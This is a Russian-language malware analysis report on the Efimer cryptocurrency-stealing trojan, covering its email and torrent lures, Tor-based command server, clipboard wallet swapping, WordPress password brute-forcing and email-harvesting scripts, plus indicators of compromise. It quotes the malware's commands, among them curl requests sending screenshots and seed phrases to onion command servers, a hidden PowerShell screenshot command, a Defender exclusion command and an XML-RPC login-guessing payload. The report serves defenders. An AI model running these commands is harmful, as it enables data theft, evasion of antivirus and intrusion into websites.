Введение
В июне мы исследовали массовую рассылку от имени юристов крупной компании о том, что доменное имя, используемое получателем, якобы нарушает права отправителя. Эти письма содержат вредоносный скрипт Efimer, нацеленный на кражу криптовалюты, который также обладает дополнительной функциональностью, помогающей злоумышленникам распространять его дальше, в том числе через взлом WordPress-сайтов и размещение на них вредоносных файлов.
Краткое содержание отчета:
- Efimer распространяется через взломанные WordPress-сайты, вредоносные торренты и электронную почту.
- Связь с командным сервером осуществляется через Tor-сеть.
- Efimer расширяет свою функциональность за счет дополнительных скриптов, позволяющих злоумышленникам подбирать пароли к WordPress-сайтам и собирать базы e-mail-адресов для дальнейшей рассылки вредоносных писем.
Продукты «Лаборатории Касперского» детектируют эту угрозу как:
- HEUR:Trojan-Dropper.Script.Efimer
- HEUR:Trojan-Banker.Script.Efimer
- HEUR:Trojan.Script.Efimer
- HEUR:Trojan-Spy.Script.Efimer.gen
Техническая информация
Предыстория
В июне мы обнаружили массовую рассылку с однотипным текстом и вредоносными архивом во вложении. Архив содержал стилер Efimer, нацеленный на кражу криптовалюты. Он получил такое имя, поскольку в начале расшифрованного скрипта присутствовал комментарий со словом EFIMER. Первые версии этого троянца появились предположительно в октябре 2024 года. Тогда он распространялся через взломанные WordPress-сайты. Эту схему злоумышленники используют до сих пор, однако в июне они начали также рассылать троянец по почте.
Распространение по почте
В полученных пользователями письмах говорится, что юристы одной крупной компании проверили домен, принадлежащий получателю, и заметили, что в его названии есть слова или фразы, которые они зарегистрировали. Они собираются подать в суд, но могут этого не делать, если владелец сменит название домена. Более того, они даже готовы выкупить этот домен. Сам домен в письме не называется, зато во вложении якобы содержатся детали: в чем именно нарушение и сколько предлагают за выкуп.
В прикрепленном к письму архиве Demand_984175.zip (MD5: e337c507a4866169a7394d718bc19df9) получатель может обнаружить еще один архив, защищенный паролем, и пустой файл с именем PASSWORD - 47692 . Примечательно, что вместо заглавных букв S здесь используется юникодный символ U+1D5E6. Вероятно, это сделано для того, чтобы автоматические средства не могли извлечь пароль из имени файла.
В запароленном архиве лежит вредоносный файл Requirement.wsf, и, если пользователь запустит его, то его компьютер будет заражен троянцем Efimer, а сам он увидит сообщение об ошибке.
Заражение происходит следующим образом. После запуска скрипт Requirement.wsf проверяет наличие прав привилегированного пользователя — для этого он пытается создать файл по пути C:\\Windows\\System32\\wsf_admin_test.tmp и записать в него данные. После проверки, в случае удачной записи, файл удаляется. Далее, в зависимости от уровня прав пользователя, происходит следующее.
- В случае запуска с правами привилегированного пользователя скрипт добавляет в исключения встроенного антивируса Windows Defender папку
C:\\Users\\Public\\controller, которая далее будет использоваться для хранения различных файлов. Также в исключения добавляется полный путь к запущенному WSF-скрипту и системные процессыC:\\Windows\\System32\\exeиC:\\Windows\\System32\\cmd.exe. После этого скрипт сохраняет по ранее упомянутому пути файлыcontroller.jsс троянцем Efimer иcontroller.xml, а затем создает задание для планировщика Windows, используя конфигурацию изcontroller.xml.
- В альтернативном случае, если права пользователя ограничены, скрипт по тому же пути сохраняет только
controller.js, записывает параметр для автоматического запуска контроллера в ключ реестра WindowsHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\controllerи запускает его при помощи утилиты WScript.
Далее скрипт методами WScript вызывает диалоговое окно с сообщением об ошибке и выходит. Это должно сбить с толку пользователя, который ожидает, что откроется некое приложение или документ, тогда как на деле ничего полезного для него не происходит.
Троянец Efimer
Скрипт controller.js представляет собой троянец типа ClipBanker с функцией подмены адресов криптокошельков в буфере обмена на адреса кошельков злоумышленника, а также с возможностью выполнять сторонний код, полученный от командного центра.
Инициализация троянца начинается с проверки, запущен ли процесс диспетчера задач, которая выполняется при помощи WMI.
В случае если он запущен, скрипт немедленно прекратит свою работу. Если же нет, скрипт запускает процесс установки на компьютер жертвы прокси-клиента Tor для дальнейшего взаимодействия с C2.
Скрипт имеет несколько зашитых адресов для загрузки Tor, чтобы в случае блокировки одного из них была возможность загрузить это ПО из других источников. В рассмотренном образце с этой целью использовались следующие URL.
| https://inpama[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://www.eskisehirdenakliyat[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://ivarchasv[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://echat365[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://navrangjewels[.]com/wp-content/plugins/XZorder/ntdlg.dat |
Скачиваемый файл (A46913AB31875CF8152C96BD25027B4D) является сервисом прокси Tor. Троянец загружает его с одного из адресов и сохраняет по пути C:\\Users\\Public\\controller\\ntdlg.exe. В случае неудачной загрузки скрипт прекращает работу.
Если загрузка прошла успешно, скачанный файл запускается при помощи WScript, и скрипт уходит в бездействие на 10 секунд, вероятно, чтобы дать сервису Tor настроить соединение с луковичной сетью и инициализироваться. После этого он пытается прочитать GUID из файла C:\\Users\\Public\\controller\\GUID. Если его нет, генерирует новый (через createGUID()) и сохраняет его в файл по указанному пути.
Формат GUID всегда следующий:vs1a-<4 случайных hex-символа>, например: vs1a-1a2b.
Далее скрипт пытается загрузить файл с названием SEED по пути C:\\Users\\Public\\controller\\SEED. В этом файле хранятся мнемонические фразы от криптокошельков, собранные скриптом, — то, как он ищет и сохраняет эти фразы, мы рассмотрим позже. Если файл найден, скрипт отправляет его на сервер и удаляет. Подобные манипуляции в этой части кода предполагают, что до этого скрипт мог быть завершен некорректно и отправка мнемонических фраз на сервер не состоялась. Чтобы не потерять собранные данные в случае ошибки, зловред сохраняет их в файл, прежде чем отправлять на сервер.
На этом процесс инициализации контроллера заканчивается, и он входит в основной рабочий цикл.
Главный цикл
На каждой итерации цикла работы контроллер каждые 500 мс проверяет, не запущен ли диспетчер задач, и, как в предыдущих случаях, выходит, если процесс запущен.
Если скрипт не завершает работу, он начинает проверять связь с C2 через сеть Tor. Для этого скрипт отправляет запрос на сервер, содержащий GUID. Ответом от сервера будет команда. Чтобы запросы на сервер не повторялись слишком часто и не вызывали подозрений, но связь при этом оставалась постоянной, в скрипте используется таймер (переменная p_timer).
Как мы можем заметить, каждые 500 мс (полсекунды), сразу после проверки, запущен ли диспетчер задач, p_timer уменьшается на 1. Когда значение переменной достигает 0 (при первом запуске оно также нулевое), выполняется обновление таймера по следующей формуле: переменная PING_INT, которая равна 1800, умножается на два и результат записывается в p_timer. Таким образом, до следующего обновления остается 1800 секунд, или 30 минут. После обновления таймера вызывается функция PingToOnion, которую мы обсудим далее. Многие подобные зловреды постоянно спамят в сетевой поток, обращаясь к C2 за командами, что очень быстро их выдает. Таймер позволяет скрипту не выдавать себя и при этом сохранять связь с сервером: запросы, отправляемые раз в полчаса, сложнее заметить в общем потоке трафика.
Функция PingToOnion работает в связке с CheckOnionCMD. В первой скрипт совершает POST-запрос на C2, используя утилиту curl и направляя запрос через луковичный прокси, расположенный на localhost:9050 по следующему адресу.
|
1 |
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php |
Ответ от сервера сохраняется в директории %TEMP% пользователя по пути %TEMP%\cfile.
|
1 |
curl -X POST -d "' + _0x422bc3 + '" --socks5-hostname localhost:9050 ' + PING_URL + ' --max-time 30 -o ' + tempStrings + '\\cfile |
После запроса на сервер сразу же вызывается функция CheckOnionCMD которая проверяет наличие ответа от сервера в файле cfile в директории %TEMP%. Если пришел ответ с командой GUID, то никакие действия не выполняются (вероятно, это PONG-ответ от сервера, который подтверждает «жизнеспособное» подключение к C2). Если первая строка ответа содержит команду EVAL, то это означает, что все прочие строки содержат JavaScript-код, который будет выполнен при помощи функции eval.
Далее, вне зависимости от ответа сервера, троянец получает данные из буфера обмена с целью поиска мнемонических фраз и подмены скопированных адресов криптокошельков на адреса кошельков злоумышленников.
Сначала он ищет в буфере обмена строки, похожие на мнемонические (seed) фразы.
Если таковые найдены, они сохраняются в файл SEED (аналогичный тому, который троянец читал при запуске) и отправляются на сервер при помощи уже описанной функции PingToOnion с параметром action SEED. После отправки файл SEED удаляется. Затем скрипт делает пять скриншотов (вероятно, с целью захватить момент использования мнемонических фраз) и также отправляет их на сервер.
Скриншоты делаются при помощи следующей PowerShell-команды:
|
1 |
powershell.exe -NoProfile -WindowStyle Hidden -Command "$scale = 1.25; Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $sw = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width; $sh = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height; $w = [int]($sw * $scale); $h = [int]($sh * $scale); $bmp = New-Object Drawing.Bitmap $w, $h; $g = [Drawing.Graphics]::FromImage($bmp); $g.ScaleTransform($scale, $scale); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save(\'' + path.replace(/\\/g, '\\\\') + '\', [Drawing.Imaging.ImageFormat]::Png); ' + '$g.Dispose(); $bmp.Dispose();" |
За отправку файлов на сервер отвечает функция FileToOnion, принимающая в качестве аргументов файл (в этом случае скриншот) и путь, по которому его нужно отправить.
Скриншоты отправляются на сервер по следующему пути:
|
1 |
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/recvf.php |
Отправка файлов осуществляется также при помощи curl-команды:
|
1 |
curl -X POST -F "file=@' + screenshot + '" ' + '-F "MGUID=' + GUID + '" ' + '-F "path=' + path + '" ' + '--socks5-hostname localhost:9050 "' + FILE_URL + '" |
После отправки скрипт уходит в бездействие на 50 секунд, а затем начинает подменять адреса криптокошельков. Если содержимое буфера обмена состоит только из цифр, заглавных и строчных латинских букв и при этом в нем есть как минимум одна буква и одна цифра, то скрипт выполнит дополнительные проверки для определения, является ли оно Bitcoin-, Ethereum- или Monero-кошельком. Если в буфере обмена обнаруживается подходящий кошелек, скрипт подменяет его по следующей логике.
- Короткие адресов Bitcoin-кошельков, начинающиеся на 1 или 3 и имеющие длину 32–36 символов заменяются на кошелек, первые два символа в адресе которого совпадают с символами в оригинальном адресе.
- Для длинных адресов кошельков, начинающихся на bc1q или bc1p и имеющих длину от 40 до 64 символов, будет подобран такой подменный адрес, в котором с исходным совпадает последний символ.
- Если адрес кошелька начинается на 0x и имеет длину от 40 до 44 символов, то будет произведена подмена на один из зашитых в скрипт Ethereum-кошельков, так, чтобы с исходным совпадали первые три символа.
- Для замены Monero-адресов, которые начинаются на 4 или 8 и имеют длину 95, злоумышленники используют только один адрес. При этом, как и с другими кошельками, скрипт проверяет совпадение символов в исходном и подменном адресе: в случае Monero одинаковым должен быть первый символ, поэтому в итоге будут заменяться только кошельки, начинающиеся на 4.
Подмена в буфере обмена осуществляется при помощи следующей команды:
|
1 |
cmd.exe /c echo|set/p= + new_clipboard_data + |clip |
После каждой подмены скрипт отправляет на сервер данные об оригинальном кошельке и о том, на который он был заменен.
Распространение через взломанные WordPress-сайты
Как мы уже упоминали, помимо электронной почты троянец использует для распространения взломанные WordPress-сайты. Злоумышленники ищут плохо защищенные ресурсы, подбирают к ним пароль, публикуют сообщение с предложением скачать один из недавно вышедших фильмов и дают ссылку на запароленный архив с торрент-файлом.
Торрент-файл загружает на устройство папку, содержащую нечто, похожее на фильм в формате .xmpeg, текстовый файлreadme !!!.txt и исполняемый файл, маскирующийся под проигрыватель.
Предполагается, что для просмотра фильма в формате .xmpeg пользователь будет вынужден запустить проигрыватель xmpeg_player.exe, который на самом деле является еще одной версией установщика троянца Efimer. Как и WSF, EXE-установщик извлекает тело троянца в папку C:\\Users\\Public\\Controller, но уже с именем ntdlg.js. Вместе с телом троянца установщик также извлекает и прокси-клиент Tor ntdlg.exe. Затем установщик через PowerShell добавляет скрипт в автозагрузку, а папку Controller — в исключения Windows Defender.
|
1 |
cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Controller\' |
Извлеченный троянец почти идентичен тому, что распространяется по почте, однако в его коде помимо Bitcoin-, Ethereum- и Monero-кошельков содержатся дополнительные подменные кошельки для Tron и Solana. Также GUID в этой версии начинается с символов vt05.
Дополнительные скрипты
На некоторых зараженных машинах мы обнаружили еще несколько интересных скриптов, общающихся с тем же .onion-доменом, что и предыдущие. Мы полагаем, что они были установлены злоумышленниками при помощи команды eval для запуска полезной нагрузки, поступающей с C2-сервера.
Взлом WordPress-сайтов
Среди дополнительных скриптов был файл с именем btdlg.js (MD5: 0f5404aa252f28c61b08390d52b7a054). Этот скрипт подбирает пароли для сайтов на WordPress.
После запуска он генерирует уникальный идентификатор пользователя вида fb01-<4 случайных hex-символа> и сохраняет его по упомянутому ранее пути C:\\Users\\Public\\Controller\\.
Затем скрипт запускает несколько процессов для брутфорс-атаки на веб-страницы. Код, отвечающий за атаку, находится в этом же скрипте, перед главным циклом. Чтобы попасть в него, нужно запустить скрипт с параметром B. Внутри главного цикла скрипта реализован процесс запуска самого себя с параметром B при помощи функции _runBruteProc .
После брутфорс-атаки скрипт возвращается к главному циклу, где будет создавать новые процессы, пока не достигнет фиксированного максимума в 20 процессов.
Таким образом скрипт поддерживает два режима работы: брутфорс и главный, отвечающий за первый запуск скрипта. Если скрипт запущен без какого-либо параметра, то код перейдет сразу к главному циклу, из которого запустит сам себя уже с параметром B и приступит к брутфорс-атаке.
После запуска процесса брутфорса с помощью функции GetWikiWords скрипт получает список слов из Википедии, который затем используется для поиска новых сайтов-целей для брутфорса. Если список слов не получен, скрипт ждет 30 минут и повторяет попытку.
Далее скрипт переходит в основной цикл работы, где раз в 30 минут делает запрос на C2-сервер при помощи метода PingToOnion, идентичного одноименным методам в других скриптах, с командой BUID, передавая уникальный идентификатор пользователя и статистику по работе брутфорса (общее количество атакованных доменов, количество удавшихся и неудавшихся атак).
Затем скрипт генерирует список случайных слов из списка из Википедии, используя функцию GetRandWords.
После этого он при помощи функции getSeDomains ищет в поисковых системах Google и Bing домены для брутфорса, передавая в поисковой параметр случайные слова из Википедии.
С помощью функции ObjID вычисляется восьмизначный hex-хэш, служащий идентификатором специального объекта (obj_id). Специальный объект в данном случае — это файл с информацией о брутфорсе (список пользователей для перебора, отметка об успехе/неуспехе подбора пароля для пользователя и иная полезная для скрипта информация). Для каждого отдельного домена данные сохраняются в отдельный файл. Затем скрипт проверяет, не встречался ли этот идентификатор ранее. Для этого все уникальные идентификаторы сохраняются в файле UDBXX.dat. Скрипт ищет новый идентификатор в этом файле и, если его нет, записывает туда. Учет идентификаторов ведется, чтобы экономить время и не обрабатывать уже известные домены.
На каждый новый домен скрипт выполняет запрос через функцию WPTryPost. Это функция XML-RPC, которая пытается создать тестовый пост с использованием возможного логина и пароля. Команда на создание поста выглядит следующим образом:
|
1 |
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>' + %ЛОГИН%+ '</string></value></param>' + '<param><value><string>' + %ПАРОЛЬ%+ '</string></value></param>' + '<param><value><struct>' + '<member>' + '<name>title</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>description</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_keywords</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_excerpt</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '</struct></value></param>' + '<param><value><boolean>1</boolean></value></param>' + '</params>' + '</methodCall> |
При успешном или неуспешном ответе на XML-RPC-запрос вызывается функция получения пользователей на домене WPGetUsers. Она обращается к домену по URL /wp-json/wp/v2/users и в ответ ожидает список пользователей сайта WordPress.
Список пользователей вместе с доменом и счетчиками для отслеживания количества пользователей и паролей, которые были перебраны, записывается в специальный файл-объект (описанный ранее), идентификатор которого вычисляется в ObjID. После обработки страницы скрипт переходит в неактивное состояние на 5 секунд, перед тем как взяться за следующую.
Параллельно этому на компьютере жертвы работают несколько процессов, выполняющих функции брутфорса. Как ранее говорилось, когда скрипт запускается с аргументом B, он вступает в бесконечный цикл брутфорсинга, в котором каждый процесс независимо обрабатывает свои цели. Сначала на каждой итерации вызывается пауза на 1–2 секунды (выбор времени происходит случайным образом), чтобы разбросать по времени старт запросов и затруднить обнаружение этой активности. Далее процесс получает для обработки случайный идентификатор файла-объекта из папки C:\\Users\\Public\\Controller\\objects, вызывая ObjGetW .
Функция ObjGetW получает случайный объект домена, который в данный момент не занят процессом брутфорса. Занятые файлы имеют расширение .lock. После получения случайного незанятого домена для брутфорса вызывается функция lockObj, которая меняет расширение этого файла, чтобы другие процессы не обрабатывали его. В случае если все объекты заняты или полученный объект не удалось заблокировать для работы, скрипт переходит на следующую итерацию цикла и пробует еще раз, пока не получит свободный файл. Если же файл для обработки нашелся, скрипт получает данные из него, включая домен, счетчики для перебора паролей и список пользователей.
На основании значений счетчиков проверяется, не исчерпаны ли все комбинации и не превышено ли допустимое число неудачных попыток. Если количество попыток исчерпано, объект удаляется и процесс приступает к новой итерации. Если попытки остались, то скрипт пытается авторизоваться при помощи жестко закодированных паролей.
В ходе подбора пароля для каждого пользователя отправляется запрос на публикацию веб-страницы через функцию WPTryPost. В зависимости от результата брутфорса вызывается ObjUpd и обновляет состояние для текущего домена и конкретной пары «имя пользователя — пароль».
После обновления состояния объект разблокируется и процесс снова уходит на случайную паузу, чтобы затем продолжить цикл с новой целью. Таким образом достигается непрерывный многопоточный перебор учетных записей, который также регулируется скриптом и логируется в специальном файле, чтобы, если вдруг скрипт упадет, ему не приходилось перебирать все с нуля.
Удачно подобранные пароли отправляются на C2 с командой GOOD.
Альтернативная версия Efimer
Мы также обнаружили еще один скрипт с именем assembly.js (MD5: 100620a913f0e0a538b115dbace78589) , который похож по функциональности на controller.js и ntdlg.js, но с рядом существенных отличий.
Этот скрипт, как и первый, относится к типу ClipBanker. В самом начале, как и в предыдущих экземплярах, он считывает уникальный идентификатор пользователя, только на этот раз по пути C:\\Users\\Public\\assembly\\GUID. Если чтение не удалось, создается новый идентификатор формата M11-XXXX-YYYY, где XXXX и YYYY — случайные четырехзначные шестнадцатеричные числа. После этого выполняется проверка на запуск скрипта из виртуальной машины.
При обнаружении виртуального окружения к строке GUID добавляется префикс V, в ином случае — R. Затем директория, где сохранен GUID, которая, по-видимому, является основной рабочей директорией скрипта, скрывается.
Далее в эту же директорию сохраняется файл lptime, куда записывается текущее время с вычетом 21 000 секунд. После инициализации начинается основной цикл работы, где для начала проверяется время в файле lptime. Если разница между текущим временем и временем в файле больше 21 600 секунд, начинается подготовка данных для отправки на сервер.
Затем скрипт пробует прочесть данные из файла geip, который должен располагаться по пути C:\\Users\\Public\\assembly\\geip. Это файл, содержащий информацию о стране и IP-адресе зараженного устройства. В случае отсутствия файла или данных в нем скрипт получает их с сайта https://ipinfo.io/json и сохраняет. Затем он активирует Tor-службу, которая находится по пути C:\\Users\\Public\\assembly\\upsvc.exe.
После этого при помощи функции GetWalletsList он ищет криптовалютные кошельки и составляет список найденного.
В первую очередь скрипт перебирает директории расширений браузеров Google Chrome и Brave, а также папки программ-криптокошельков, чьи пути заданы в коде.
Далее скрипт считывает файл data из C:\\Users\\Public\\assembly. В нем хранится результат поиска мнемонических фраз из буфера обмена с прошлой итерации кражи кошельков. Скрипт отправляет данные из файла, а также ранее найденные криптокошельки (из папок программ) на C2 со следующим адресом:
|
1 |
http://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion/assembly/route.php |
После отправки скрипт проверяет ответ через функцию CheckOnionCMD, аналогичную одноименной функции в других скриптах. Он может содержать одну из следующих команд:
- RPLY — возвращает строку «OK». Этот ответ приходит только после отправки криптокошельков и означает, что сервер получил данные. Если сервер вернул строку «OK», то старый файл data удаляется. Если же отправка не удалась (ответ не пришел), то файл не удаляется, чтобы в случае, если C2 по каким-то причинам временно недоступен, была возможность отправить накопившееся кошельки за все время, когда коммуникация с C2 будет восстановлена.
- EVAL — выполнить JS-скрипт, переданный в ответе.
- KILL — полностью удалить все свои компоненты и завершить работу.
Далее скрипт проверяет буфер обмена на наличие строк, похожих на мнемонические фразы и адреса криптокошельков.
Найденные данные шифруются при помощи XOR с ключом $@#LcWQX3$ и сохраняются в файл data. После всего цикл повторяется заново.
Скрипт для сбора электронных адресов Liame
Данный скрипт представляет собой такой же шпион, как и предыдущие, и во многом схож с ними, однако имеет совершенно другое назначение. Его основная цель — собрать электронные адреса с заданных сайтов и отправить их на C2. Список сайтов скрипт получает в форме команды от C2. Разберем подробнее его функциональность.
В самом начале работы скрипт проверяет наличие в основной рабочей папке (где будут храниться нужные ему файлы) по пути C:\\Users\\Public\\Controller\\LUID идентификатора LUID (уникального идентификатора текущей системы). Если его нет, то он создается при помощи функции, похожей на те, которые мы видели в других скриптах. В этом случае уникальный идентификатор имеет вид fl01-<4 случайных hex-символа> .
Далее запускается функция checkUpdate(), которая проверяет по пути C:\\Users\\Public\\Controller\\update_l.flag наличие файла. Если он существует, скрипт ожидает 30 секунд. Затем удаляет файл update_l.flag и завершает работу.
Далее скрипт периодически (раз в 10 минут) отправляет запрос на сервер для получения команд при помощи функции с названием PingToOnion, схожей с одноименными функциями в других скриптах.
Запрос содержит следующие параметры:
- LIAM — уникальный идентификатор;
- action — тип запроса;
- data — данные, соответствующие типу запроса.
В этой части кода в качестве action используется строка LIAM, а в качестве data — количество собранных e-mail-адресов и статистика работы скрипта.
Также помимо статистики скрипт в случае непредвиденного завершения вследствие ошибки может отправить лог, где в параметре action будет строка LOGS, а в data — сообщение об ошибке.
Запрос отправляется на следующий адрес C2:
|
1 |
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php |
Сервер возвращает похожую на JSON структуру, которая в дальнейшем парсится в следующей функции.
В этой структуре содержится информация о том, какие команды должен выполнить скрипт.
Всего скрипт поддерживает две команды.
- Получить список e-mail-адресов с доменов, указанных в ответе от сервера.
Скрипт получает домены и обходит каждый с целью поиска гиперссылок и e-mail-адресов на страницах сайта.
Функция
GetPageLinksанализирует HTML-контент веб-страницы и извлекает все ссылки, которые находятся на том же домене, что и исходная страница. Она фильтрует ссылки, оставляя только те, которые указывают на HTML/PHP-файлы или файлы без расширения.Функция
PageGetLiameизвлекает e-mail-адреса из HTML-контента страницы. Она поддерживает обработку как открытых адресов, так и тех, которые обернуты вmailto.Затем скрипт проходится по всем собранным ранее ссылкам на доменах, полученных от сервера, и оттуда также собирает e-mail-адреса. После этого из общего списка e-mail-адресов удаляются дублирующиеся, и скрипт сохраняет его для последующего использования.
- Отправить собранные данные на сервер.
В данном случае скрипт ожидает получения в ответе от сервера двух параметров —pstackиbuffer, где:- pstack — массив доменов, на которые будут в дальнейшем отправляться POST-запросы;
- buffer — массив строк, где каждая строка содержит данные в формате address,subject,message.
Скрипт выбирает случайный домен из
pstackи загружает туда одну из строк из параметраbuffer. Вероятно, эта часть скрипта представляет собой спам-функцию, которая заполняет формы на сайтах. В случае хотя бы одной удачной отправки данных через POST-запрос на конкретный домен для него в статистику (о которой мы упоминали ранее) записывается количество удачных отправок.Если внутри цикла произошла ошибка, скрипт отлавливает ее и отправляет на C2 с командой
LOGS.
В текущем коде часто встречается слово Liame что является словом Email, записанным наоборот. Также в коде достаточно часто встречается Liama, Liam и Liams, которые, вероятно, образованы уже от Liame. Такая игра слов в коде, скорее всего, нужна, чтобы хоть как-то замаскировать вредоносное назначение функций (к примеру вместо PageGetEmail выйдет PageGetLiame).
Жертвы
С октября 2024 по июль 2025 года с троянцем Efimer столкнулись 5015 пользователей решений «Лаборатории Касперского». Зловред был наиболее активен в Бразилии, где атаки коснулись 1476 пользователей. Также в числе самых затронутых стран оказались Индия, Испания, Россия, Италия и Германия.
TOP 10 стран по числу пользователей, столкнувшихся с Efimer (скачать)
Заключение
Троянец Efimer объединяет в себе сразу несколько серьезных угроз. Хотя основное назначение зловреда — кража и подмена криптокошельков, при помощи дополнительных скриптов он может взламывать сайты на WordPress и рассылать спам, обеспечивая себе полноценную вредоносную инфраструктуру и распространяясь на новые устройства.
Еще одна любопытная особенность этого троянца состоит в том, что он пытается распространяться как среди частных пользователей, так и в корпоративной среде. В первом случае злоумышленники используют в качестве приманки торрент-файлы якобы для загрузки популярных фильмов, в другом — претензии, связанные с якобы неправомерным использованием слов или фраз, зарегистрированных другой компанией.
При этом стоит отметить, что в обоих случаях заражение невозможно, если пользователь сам не скачает и не запустит вредоносный файл. Для защиты от подобного рода угроз мы призываем не скачивать торрент-файлы из незнакомых или сомнительных источников, проверять отправителя писем и постоянно обновлять антивирусные базы.
Для разработчиков и администраторов сайтов важно принимать меры по защите своих ресурсов от взлома и распространения вредоносного ПО. Это включает в себя регулярное обновление программного обеспечения, использование сильных (не дефолтных) паролей и двухфакторной аутентификации, а также мониторинг сайта на наличие признаков взлома.
Индикаторы компрометации
Хэши вредоносных файлов
39fa36b9bfcf6fd4388eb586e2798d1a — Requirement.wsf
5ba59f9e6431017277db39ed5994d363 — controller.js
442ab067bf78067f5db5d515897db15c — xmpeg_player.exe
16057e720be5f29e5b02061520068101 — xmpeg_player.exe
627dc31da795b9ab4b8de8ee58fbf952 — ntdlg.js
0f5404aa252f28c61b08390d52b7a054 — btdlg.js
eb54c2ff2f62da5d2295ab96eb8d8843 — liame.js
100620a913f0e0a538b115dbace78589 — assembly.js
b405a61195aa82a37dc1cca0b0e7d6c1 — btdlg.js
Хэши чистых файлов, участвующих в атаке
5d132fb6ec6fac12f01687f2c0375353 — ntdlg.exe (Tor)
Сайты
hxxps://lovetahq[.]com/sinners-2025-torent-file/
hxxps://lovetahq[.]com/wp-content/uploads/2025/04/movie_39055_xmpg.zip
Адреса C2
hxxp://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion
hxxp://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion













![Пример объявления на странице https://lovetahq[.]com/sinners-2025-torent-file/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/58/2025/08/06195742/efimer-trojan15.png)






























Efimer: кража криптовалюты, взлом WordPress и массовая рассылка спама